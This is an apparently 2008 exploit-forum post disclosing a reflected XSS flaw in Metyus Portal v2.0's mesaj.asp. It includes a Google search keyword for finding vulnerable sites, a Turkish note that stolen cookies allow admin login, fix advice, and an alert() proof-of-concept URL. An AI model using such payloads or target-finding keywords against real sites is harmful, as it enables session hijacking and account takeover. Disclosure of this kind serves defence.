Metyus Portal v2.0 XSS Vulnerability | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Metyus Portal v2.0 XSS Vulnerability

Madde
	Author : CyberGhost
	Date : 11.02.2008 18:53:24
	# Metyus Portal v2.0 XSS Vulnerability [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Metyus Portal v2.0 # Vulnerable Type : XSS Vulnerability # Google Keyword : Metyus Portal v2.0 # Infection : Cookie bilgilerine erisilerek sisteme yönetici yetkileri ile giris yapilabilir. # Bug Fix Advice : mesaj.asp dosyasindaki tüm Request.Querystring degiskenleri (html encode, Hex vb.) filtrelenmelidir. # author : CyberGhost ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > /mesaj.asp?durum=gonder&nasi=cevapla&kime=><script>alert(’CW Lojistik / Bug Researchers’)</script> < -- bug code end of -- >